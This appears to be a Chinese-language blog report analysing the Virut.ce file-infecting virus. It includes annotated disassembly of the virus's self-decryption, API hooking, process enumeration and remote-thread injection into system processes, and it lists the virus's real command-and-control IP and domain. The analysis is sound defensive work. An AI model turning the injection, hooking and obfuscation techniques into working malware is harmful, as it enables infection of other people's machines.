天天看點

Virut.ce-感染型病毒分析報告

1.樣本概況

病毒名稱 Virus.Win32.Virut.ce
MD5 6A500B42FC27CC5546079138370C492F
檔案大小 131 KB (134,144 位元組)
殼資訊 無殼
檔案名 9-29_vir.exe(感染程式)
數字簽名 NO
時間戳 2000年1月10日, 12:00:00

1.1 樣本行為

 惡意代碼為感染型病毒,母體病毒通過将正常的PE檔案進行加密,然後每個受感染的檔案又可以進行全盤傳播,通過連接配接國外IP伺服器發送上線封包。

1.2 測試環境及工具

作業系統 Windows7(x86)
行為檢測 Wireshark、Api Monitor、Malware Defender
檔案檢測 010 Editor、PEID
虛拟機平台 VMware10
調試工具 OD、IDA

1.3 分析目标

 1)樣本的網絡行為、檔案行為

 2)感染傳播的方式

2、具體行為分析

2.1 主要行為概述

Virut.ce-感染型病毒分析報告

2.2 惡意程式對使用者造成的危害

2.2.1 感染途徑

  • 通過母體檔案,或被母體檔案感染過的檔案感染。
  • 運作後會将惡意代碼以及子產品注入explorer.exe\Conhost.exe\winlogo.exe\dwm.exe等程序。

2.2.2 惡意行為

  • 感染已經打開的程序和磁盤可執行檔案,重寫程式入口點的代碼并指向病毒代碼。
  • 與國外IP發送資料包進行通訊連接配接。

2.3 惡意代碼分析

2.3.1 惡意程式加強方式

 1)加密處理:病毒代碼處理經過多層的解密指令,運作過程中對後續代碼進行解密,解密代碼會變形。例如原反彙編指令代碼如下:

00424772 imul edx,eax,0xCFA924B3
00424778 mov ecx,0x1A7DDAE2
0042477D sbb byte ptr ss:[ebp-0x223],dh; 帶借位減法指令,這裡會修改42479D位置的ret變成call
00424783 pop edi
00424784 lea edi,dword ptr ds:[edi-0x69B4>
0042478A test dl,bh ; dl = 4D('M');查找檔案頭
0042478C mov dl,ah
0042478E adc al,bl
00424790 adc al,cl
00424792 push dword ptr ss:[ebp-0x17D]
00424798 add edi,ebp ; 9-29_vir.004249C0
0042479A xchg cl,cl
0042479C pop edx
0042479D retn    ; import - NoTips ---- By Jmp2 -
0042479E add al,0x3
004247A0 add byte ptr ds:[eax],al
004247A2 mov edi,edi

           

 執行完【0042477D sbb byte ptr ss:[ebp-0x223],dh】這條語句後,機器碼為C3的改成了E8,ret就變成了call。修改後的代碼如下:

Virut.ce-感染型病毒分析報告

圖:指令被修改

 2)花指令:代碼會在指令中增加00,在滑鼠滑動時指令發生變化。

Virut.ce-感染型病毒分析報告

圖:花指令

2.3.2 惡意行為過程截獲

  • 惡意行為

    (1)修改其他程序的記憶體:

Virut.ce-感染型病毒分析報告

圖:修改其程式記憶體

(2)API行為監控:

Virut.ce-感染型病毒分析報告

圖:API行為監控

(3)感染檔案變化:

Virut.ce-感染型病毒分析報告

圖:源檔案與感染檔案對比

  • 網絡行為

 通過Malware Defender對被感染的檔案進行監控,發現每個被感染的檔案自成母體病毒檔案向目前的系統程序dwm.exe進行了修改。通過dwm.exe檔案通路國外IP。

Virut.ce-感染型病毒分析報告

圖:注入程序,程序通路網絡

 病毒運作後會通路國外IP:148.81.111.121,通過VT查詢該IP與多個惡意代碼HASH綁定,Wireshark抓包後的資料包:

Virut.ce-感染型病毒分析報告

圖:通路IP

 通過Windows系統自帶的DNS記錄跟蹤大量域名後,通過系統指令确定病毒感染後通路的國外IP綁定的域名為ant.trenz.pl。

Virut.ce-感染型病毒分析報告

圖:Windwos自帶DNS記錄通路的域名

Virut.ce-感染型病毒分析報告

圖:系統指令關聯域名的IP位址

2.3.3 惡意程式的代碼分析記錄

2.3.3.1 調用病毒代碼

 病毒代碼執行前,首先擷取kernel32.dll入口循環周遊代碼所需函數,通過IDA靜态可檢視代碼運作的結構是在不斷進行循環。

Virut.ce-感染型病毒分析報告

圖:OD-kernel32入口位址

Virut.ce-感染型病毒分析報告

圖:IDA-kernel32函數位址周遊

 當面對這類感染類病毒,很多使用寄存器進行傳值的指令是無法用IDA輕輕松松F5檢視源碼的。

 是以分析過程中我采用通過行為監控+動态調試的思路分析!打開Malware Defender,借助吾愛破解OD進行F8單層步過直到程式結束。當Malware Defender出現關鍵行為時,對走過的call進行記錄,然後深入這個call再逐層分析。

 跟蹤到第6個函數時,程式出現了修改其他程序記憶體、其他程序中建立線程的行為。

Virut.ce-感染型病毒分析報告

圖:第6個call為重點分析函數

 通過反複還原虛拟機快照對比,發現該病毒在感染後 [cmp al,bl]執行的分支是不一樣的,如果沒有被感染的系統JNZ不跳轉程式繼續向下執行,否則JNZ則跳轉到下一個分支處。對比值是eax與ebx的寄存器的低位值。此時的AL與BL的值分别為:Al=B7,Bl=00。

 為了驗證這個【B7】的值是否為随機值,切換到另外一台虛拟機再次單步跟蹤有操作EAX的的位置,發現在00424A38位址處執行完【mov eax,dword ptr ds:[eax+0x34];】,B7的值就沒有發生過改變,由此得出B7這個值就是病毒判斷系統有沒有被感染的辨別,對比反彙編代碼如下:

00424A38 mov eax,dword ptr ds:[eax+0x34]; 擷取感染标志位
00424A3B jmp short 9-29_vir.00424A5D
00424A3D and al,0xFF
00424A3F cmc
00424A40 mov edx,0x8B090FE1
00424A45 sete dh
00424A48 inc ch
00424A4A push 0xC0FCDCDC
00424A4F call 9-29_vir.00424845     ; ----
00424A54 and al,al
00424A56 xor ecx,ebp                ; 9-29_vir.004249C0
00424A58 call 9-29_vir.00424841     ; -----
00424A5D cmp al,bl                  ; 判斷是否被感染
00424A5F jnz short 9-29_vir.00424A6A; 已感染則跳轉
00424A61 xchg dh,al                 ; 該分支1在未感染時,執行
00424A63 xchg esi,edx
00424A65 call 9-29_vir.00424702     ; ;重點分析函數;import
00424A6A push 0xBC8257D8            ; 感染後執行的分支2
00424A6F jmp short 9-29_vir.00424A74
00424A71 mov ebx,ebx                ; kernel32.75EC0000
00424A73 clc
00424A74 xchg ch,cl

           

所有寄存器目前的值如下:

EAX 000000B7
ECX 0012FF70
EDX 00000000
EBX 75EC0000 kernel32.75EC0000
ESP 0012FF38
EBP 004249C0 9-29_vir.004249C0
ESI E2FCE64A
EDI 00000506
EIP 00424A5D 9-29_vir.00424A5D
C 1  ES 0023 32位 0(FFFFFFFF)
P 1  CS 001B 32位 0(FFFFFFFF)
A 0  SS 0023 32位 0(FFFFFFFF)
Z 1  DS 0023 32位 0(FFFFFFFF)
S 0  FS 003B 32位 7FFDE000(4000)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_ALREADY_EXISTS (000000B7)
EFL 00000247 (NO,B,E,BE,NS,PE,GE,LE)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty 0.0
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  掩碼    1 1 1 1 1 1

           

 目前已知關鍵感染代碼都在00424A65位址的call内,那麼按照原有思路繼續根據行為找關鍵call,F8單步跟蹤所有的call後借助監控行為軟體的結果細化分析各層call内的反彙編指令。

2.3.3.2 代碼混淆

 病毒代碼處理存在兩種方式,一種是對後續代碼進行解密,解密代碼會變形。另一種是後續代碼是明文未加密直接調用明文。例如原反彙編指令代碼如下:

00424772 imul edx,eax,0xCFA924B3
00424778 mov ecx,0x1A7DDAE2
0042477D sbb byte ptr ss:[ebp-0x223],dh   ; 帶借位減法指令,這裡會修改42479D位置的ret變成call
00424783 pop edi
00424784 lea edi,dword ptr ds:[edi-0x69B4>
0042478A test dl,bh                       ; dl = 4D('M');查找檔案頭
0042478C mov dl,ah
0042478E adc al,bl
00424790 adc al,cl
00424792 push dword ptr ss:[ebp-0x17D]
00424798 add edi,ebp                      ; 9-29_vir.004249C0
0042479A xchg cl,cl
0042479C pop edx
0042479D retn                             ; import - NoTips ---- By Jmp2 -
0042479E add al,0x3
004247A0 add byte ptr ds:[eax],al
004247A2 mov edi,edi

           

執行完【0042477D sbb byte ptr ss:[ebp-0x223],dh】這條語句後,機器碼為C3的改成了E8,ret就變成了call。修改後的代碼如下:

Virut.ce-感染型病毒分析報告

在跟随中遇到擷取kernel32.dll解密代碼的算法。反彙編代碼如下:

00424896 xor eax,eax                    ; kernel32.BaseThreadInitThunk
00424898 imul eax,eax,0xF               ; eax == eax*0xF
0042489B lea ebx,dword ptr ds:[esi-0x18]; ebx = esi - 0x18
0042489E inc ebx                        ; ebx = ebx + 1
0042489F lea ebx,dword ptr ds:[eax-0x3] ; ebx = eax-0x3
004248A2 movzx ecx,byte ptr ds:[esi+0x3]; Kernel32函數存放
004248A6 sbb bh,0xCB                    ; bh = bh - bh - CF
004248A9 dec ebx                        ; ebx = ebx - 1
004248AA adc bl,0x25                    ; bl =bl + 0x25 + CF
004248AD not ebx                        ; 位翻轉指令,将操作數中的每一位翻轉
004248AF sub eax,ecx                    ; eax = eax - ecx
004248B1 sub esi,-0x12
004248B4 lea esi,dword ptr ds:[esi-0x11]; 取有效位址
004248B7 cmp byte ptr ds:[esi+0x3],0xA  ; 擷取所有kernel32.dll函數
004248BB jnb short 9-29_vir.00424898    ;大于或等于轉移,因為kernel32.dll函數後的下一個是0xA(換行符)

           
Virut.ce-感染型病毒分析報告

圖:OD-反彙編代碼

指令塊通過jmp連接配接,跳轉後有指令變形的紅色提示。

Virut.ce-感染型病毒分析報告

圖:通過JMP連接配接

2.3.3.3 挂鈎底層API函數

 進入代碼變形後的指令繼續跟蹤,發現挂鈎了底層API函數。對應的七個函數分别為ZwCreateFile、ZwOpenFile、ZwCreateProcess、ZwCreateProcessEx、ZwCreateUserProcess、ZwQueryInformationProcess、ZwDeviceIoControlFile;反彙編指令如下:

0041E339 mov eax,dword ptr ss:[ebp+0xD2723C6]    ; ntdll.ZwCreateFile
0041E33F push dword ptr ds:[eax+0x1]
0041E342 pop dword ptr ss:[ebp+0xD277592]
0041E348 cmp dword ptr ss:[ebp+0xD277592],0xFFFF
0041E352 ja 9-29_vir.0041E2A9
0041E358 mov eax,dword ptr ss:[ebp+0xD2723E2]    ; ntdll.ZwOpenFile
0041E35E push dword ptr ds:[eax+0x1]
0041E361 pop dword ptr ss:[ebp+0xD277617]
0041E367 cmp dword ptr ss:[ebp+0xD277617],0xFFFF
0041E371 ja 9-29_vir.0041E2A9
0041E377 mov eax,dword ptr ss:[ebp+0xD2723CA]    ; ntdll.ZwCreateProcess
0041E37D push dword ptr ds:[eax+0x1]
0041E380 pop dword ptr ss:[ebp+0xD277621]
0041E386 cmp dword ptr ss:[ebp+0xD277621],0xFFFF
0041E390 ja 9-29_vir.0041E2A9
0041E396 mov ecx,dword ptr ss:[ebp+0xD2723CE]    ; ntdll.ZwCreateProcessEx
0041E39C jecxz short 9-29_vir.0041E3D8
0041E39E push dword ptr ds:[ecx+0x1]
0041E3A1 pop dword ptr ss:[ebp+0xD27762E]
0041E3A7 cmp dword ptr ss:[ebp+0xD27762E],0xFFFF
0041E3B1 ja 9-29_vir.0041E2A9
0041E3B7 mov ecx,dword ptr ss:[ebp+0xD2723D6]    ; ntdll.ZwCreateUserProcess
0041E3BD jecxz short 9-29_vir.0041E3D8
0041E3BF push dword ptr ds:[ecx+0x1]
0041E3C2 pop dword ptr ss:[ebp+0xD27763B]
0041E3C8 cmp dword ptr ss:[ebp+0xD27763B],0xFFFF
0041E3D2 ja 9-29_vir.0041E2A9
0041E3D8 mov ecx,dword ptr ss:[ebp+0xD2723F2]    ; ntdll.ZwQueryInformationProcess
0041E3DE jecxz short 9-29_vir.0041E3FC
0041E3E0 push dword ptr ds:[ecx+0x1]
0041E3E3 pop dword ptr ss:[ebp+0xD27766F]
0041E3E9 cmp dword ptr ss:[ebp+0xD27766F],0xFFFF
0041E3F3 jbe short 9-29_vir.0041E3FC
0041E3F5 and dword ptr ss:[ebp+0xD2723F2],0x0
0041E3FC lea eax,dword ptr ss:[ebp+0xD2721A4]
0041E402 lea edi,dword ptr ss:[ebp+0xD277934]
0041E408 push eax                                ; ntdll.ZwDeviceIoControlFile

           
Virut.ce-感染型病毒分析報告

圖:OD-挂鈎七個底層API函數

2.3.3.4 自身映射到開辟的記憶體中

 第三層數第3個call後。F8跟蹤過程中有一個底層API函數,ZwMapViewOfSection作用為建立記憶體将自身映射到程序中:

Virut.ce-感染型病毒分析報告

圖:OD-調用ZwMapViewOfSection

2.3.3.5 解密代碼

 第三層第4個call中還在進行多個循環進行判斷解密長度、解密資料,當這個call運作完畢,指令塊發生改變。

001F035B sub ebx,0x66E4
001F0361 and ecx,0x7FFF
001F0367 bt dword ptr ss:[ebp+0xD271C9E],ebx
001F036E jnb short 001F0373
001F0370 inc esi
001F0371 jmp short 001F0399
001F0373 cmp dword ptr ss:[ebp+0xD271E1A],0x0
001F037A je short 001F0398
001F037C mov eax,ebx
001F037E sub eax,dword ptr ss:[ebp+0xD271E1A]
001F0384 jb short 001F0398
001F0386 cmp eax,0x4
001F038B jnb short 001F0398
001F038D mov al,byte ptr ds:[eax+ebp+0xD271E1E]
001F0394 inc esi
001F0395 stos byte ptr es:[edi]
001F0396 jmp short 001F0399
001F0398 movs byte ptr es:[edi],byte ptr ds:[esi]
001F0399 inc ebx
001F039A loopd short 001F0367                    ; 循環204次
001F039C inc dl
001F039E pop esi                                 ; 001F0780
001F039F cmp dl,byte ptr ss:[ebp+0xD27189D]      ; 比對條件,對指令變形
001F03A5 jb short 001F0340
001F03A7 push 0x2E
001F03AC lea esi,dword ptr ss:[ebp+0xD271E22]
001F03B2 pop ecx                                 ; 001F0780
001F03B3 movzx edx,word ptr ds:[esi]
001F03B6 movzx eax,word ptr ds:[esi+0x4]
001F03BA movzx ebx,word ptr ds:[esi+0x2]
001F03BE sub eax,ebx
001F03C0 mov dword ptr ds:[edx+ebp+0xD271000],eax
001F03C7 sub ebx,edx
001F03C9 mov al,byte ptr ds:[edx+ebp+0xD270FFF]
001F03D0 cmp ebx,0x4                             ; 比對長度
001F03D3 jnz short 001F0401
001F03D5 cmp al,0xE8
001F03D7 je short 001F0401
001F03D9 cmp al,0xE9
001F03DB je short 001F0401
001F03DD cmp al,0xEB
001F03DF jnz short 001F03EB
001F03E1 mov byte ptr ds:[edx+ebp+0xD270FFF],0xE9
001F03E9 jmp short 001F0401
001F03EB mov al,0xF
001F03ED xchg byte ptr ds:[edx+ebp+0xD270FFE],al
001F03F4 cmp al,0xF
001F03F6 je short 001F0401
001F03F8 add al,0x10
001F03FA mov byte ptr ds:[edx+ebp+0xD270FFF],al
001F0401 add esi,0x6
001F0404 loopd short 001F03B3                    ; 循環46次  

           
Virut.ce-感染型病毒分析報告

圖:OD-Loop循環結束,指令塊發生改變

2.3.3.6 周遊程序

 跟進001F0796這個call内,病毒在此處進行了周遊程序的操作,但在此之前調用了FreeLibrary、CloseHandle可見已經進行了加載某個子產品的操作。通過CreateToolhelp32Snapshot通過擷取程序資訊、程序使用的堆[HEAP]、子產品[MODULE]、線程建立一個快照,然後跳過前4個程序後程式繼續向下執行,反彙編代碼如下:

001F07C9 call dword ptr ss:[ebp+0xD2722E6]; kernel32.CreateToolhelp32Snapshot
001F07CF mov ecx,0x128
001F07D4 xchg eax,edi
001F07D5 sub esp,ecx
001F07D7 mov dword ptr ss:[esp],ecx
001F07DA push esp                         ; 程序結資訊結構體
001F07DB push edi                         ; 句柄
001F07DC call dword ptr ss:[ebp+0xD27233E]; kernel32.Process32First
001F07E2 xor esi,esi
001F07E4 and dword ptr ss:[ebp+0xD277A94],0x0
001F07EB push esp                         ; 程序結資訊結構體
001F07EC push edi                         ; 句柄
001F07ED call dword ptr ss:[ebp+0xD272342]; kernel32.Process32Next
001F07F3 test eax,eax
001F07F5 je short 001F0865
001F07F7 inc esi
001F07F8 cmp esi,0x4                      ; 前4個程序名則繼續周遊
001F07FB jb short 001F07EB
001F07FD push dword ptr ss:[esp+0x8]      ; 程序标示符
001F0801 push 0x0                         ; 是否繼承句柄
001F0803 push 0x2A                        ; 渴望得到的通路權限
           
Virut.ce-感染型病毒分析報告

圖:OD-周遊程序

2.3.3.7 建立遠端線程注入

前四個程序周遊後使用OpenProcess做打開操作, CreateRemoteThread建立遠端線程,反彙編如下:

001F07F8 cmp esi,0x4       ; 前4個程序名則繼續周遊
001F07FB jb short 001F07EB
001F07FD push dword ptr ss:[esp+0x8]; 程序标示符
001F0801 push 0x0          ; 是否繼承句柄
001F0803 push 0x2A         ; 渴望得到的通路權限
001F0805 call dword ptr ss:[ebp+0xD27233A]; kernel32.OpenProcess
001F080B test eax,eax
001F080D je short 001F07EB
001F080F xchg eax,ebx
001F0810 call 001F2574
001F0815 xor ecx,ecx
001F0817 xchg eax,ecx
001F0818 jecxz short 001F085C
001F081A cmp dword ptr ss:[ebp+0xD277A94],eax
001F0820 jnz short 001F085C
001F0822 mov edx,dword ptr ss:[esp+0x24]
001F0826 or edx,0x20202020
001F082C cmp edx,0x73727363
001F0832 je short 001F085C
001F0834 add ecx,0x3C38
001F083A push eax
001F083B push esp
001F083C push eax
001F083D push esi
001F083E push ecx
001F083F push eax
001F0840 push eax                         ; 指向SECURITY_ATTRIBUTES結構指定新的線程安全描述符
001F0841 push ebx                         ; 程序句柄
001F0842 call dword ptr ss:[ebp+0xD2722DE]; kernel32.CreateRemoteThread

           
Virut.ce-感染型病毒分析報告

圖:OD-建立遠端線程注入

2.3.3.8 修改程序記憶體

 單步跟蹤發現每次經過001F0810位址的call便會出現修改其他程序記憶體的操作, 深入分析,發現這個call内會挂鈎其七個api函數,挂鈎的已知Api函數名為:ZwOpenSection、ZwMapViewOfSection、ZwDeviceIoControlFile、ZwCreateFile、ZwOpenFile、ZwCreateProcess、ZwCreateProcessEx、ZwCreateUserProcess、ZwQueryInformationProcess,反彙編如下:

001F255D push eax
001F255E call dword ptr ss:[ebp+0xD2723EA]; ntdll.ZwOpenSection
001F2564 add esp,0x20
001F2567 xor edx,edx
001F2569 test eax,eax
001F256B setns dl
001F256E neg edx
001F2570 pop eax    ; 001F0863
001F2571 and eax,edx
001F2573 retn       ; 這裡直接跳轉到下一個函數
001F2574 push edi
……….
001F2574 push edi
001F2575 xor edi,edi
001F2577 call 001F252F
001F257C je 001F2661
001F2582 push eax
001F2583 push 0xB7C4
001F2588 mov edx,esp
001F258A push 0x0
001F258C mov ecx,esp
001F258E push 0x40    ; Win32Protect
001F2590 push 0x100000; AllocationType
001F2595 push 0x2     ; InheritDisposition
001F2597 push edx     ; ViewSize
001F2598 push 0x0     ; SectionOffset
001F259A push 0xB7C4  ; CommitSize
001F259F push 0x0     ; ZeroBits
001F25A1 push ecx     ; *BaseAddress
001F25A2 push ebx     ; ProcessHandle
001F25A3 push eax     ; SectionHandle
001F25A4 call dword ptr ss:[ebp+0xD2723DE]; ntdll.ZwMapViewOfSection
001F25AA pop edi
001F25AB pop ecx
001F25AC call dword ptr ss:[ebp+0xD2722C6]; kernel32.CloseHandle
001F25B2 test edi,edi
001F25B4 je 001F2661
001F25BA mov ecx,dword ptr ss:[ebp+0xD271891]
001F25C0 jecxz short 001F25CE
001F25C2 lea edx,dword ptr ss:[ebp+0xD271000]
001F25C8 add edx,ecx
001F25CA push edi
001F25CB push ebx
001F25CC call edx                            ; ntdll.KiFastSystemCallRet
001F25CE>test dword ptr ss:[ebp+0xD275B83],0x
001F25D8 je short 001F25EF
001F25DA mov eax,dword ptr ss:[ebp+0xD2723DA]; ntdll.ZwDeviceIoControlFile
001F25E0 test eax,eax
001F25E2 je short 001F25EF
001F25E4 lea ecx,dword ptr ds:[edi+0x68B1]
001F25EA call 001F2477
001F25EF mov eax,dword ptr ss:[ebp+0xD2723C6]; ntdll.ZwCreateFile
001F25F5 lea ecx,dword ptr ds:[edi+0x6591]
001F25FB call 001F2477
001F2600 mov eax,dword ptr ss:[ebp+0xD2723E2]; ntdll.ZwOpenFile
001F2606 lea ecx,dword ptr ds:[edi+0x6616]
001F260C call 001F2477
001F2611 mov eax,dword ptr ss:[ebp+0xD2723CA]; ntdll.ZwCreateProcess
001F2617 lea ecx,dword ptr ds:[edi+0x6620]
001F261D call 001F2477
001F2622 mov eax,dword ptr ss:[ebp+0xD2723CE]; ntdll.ZwCreateProcessEx
001F2628 test eax,eax
001F262A je short 001F2637
001F262C lea ecx,dword ptr ds:[edi+0x662D]
001F2632 call 001F2477
001F2637 mov eax,dword ptr ss:[ebp+0xD2723D6]; ntdll.ZwCreateUserProcess
001F263D test eax,eax
001F263F je short 001F264C
001F2641 lea ecx,dword ptr ds:[edi+0x663A]
001F2647 call 001F2477
001F264C mov eax,dword ptr ss:[ebp+0xD2723F2]; ntdll.ZwQueryInformationProcess
001F2652 test eax,eax
001F2654 je short 001F2661
001F2656 lea ecx,dword ptr ds:[edi+0x666E]
001F265C call 001F2477
001F2661 mov eax,edi
001F2663 pop edi
001F2664 retn

           
Virut.ce-感染型病毒分析報告

圖:OD-挂鈎底層API函數

2.3.3.9 發送網絡資料包

在遠端線程注入執行後,在winlogon.exe程序出現了聯網行為。再此之前的單步跟蹤則是dwm.exe進行聯網通路,推測病毒是将聯網執行的惡意代碼注入到某個程序後,将聯網操作交給了被注入的程序中。且聯網的程序是存在随機性的。

Virut.ce-感染型病毒分析報告

圖:聯網行為監控

運作後會通路國外IP:148.81.111.121,通過VT查詢該IP與多個惡意代碼HASH綁定,Wireshark抓包後的資料包:

Virut.ce-感染型病毒分析報告

通過Windows系統自帶的DNS記錄跟蹤大量域名後,用系統指令确定病毒感染後通路的國外IP綁定的域名為ant.trenz.pl。

Virut.ce-感染型病毒分析報告
Virut.ce-感染型病毒分析報告

PChunter檢視winlogon已經被注入了3個線程。

Virut.ce-感染型病毒分析報告

2.3.3.10 恢複執行原始檔案

跟到最後的幾個call,已經是運作原先程式的代碼。因為我用母體感染的是我自己寫的程式。printf(“11111111”)就是。。。

3、思考小結

這個病毒分析起來還是有難度的,病毒沒有跟完,沒有辦法像某些常見病毒一樣可以IDA F5大法輕松檢視僞C代碼。C和彙編的基礎需要提升的前提下,也引發了一些思考。

1、病毒分析方面

  • 1)使用OD動态調試對于病毒運作的流程架構不像IDA一般清晰,如何使用IDAPython輔助将esi等寄存器傳值的函數在IDA中辨別出來讓自己通過靜态分析,提升分析速度。
  • 2)對于挂鈎底層API函數這裡,是在同僚指點下修正過了。網上的文章分析中提到使用了zwXXXXX這類函數就是挂鈎了核心函數是不嚴謹的。隻能相當于調用了系統DLL中比較底層的函數,距離核心還差一段距離。

2、程式設計技術方面

  • 1)如果是我自己寫這類程式,還有什麼思路可以隐藏程序。
  • 2)注入到系統程序記憶體中的資料,采用什麼手段可以排查。

4、參考

virut詳細分析 - 米哈伊爾 - 部落格園

http://www.cnblogs.com/Mikhail/p/5615286.html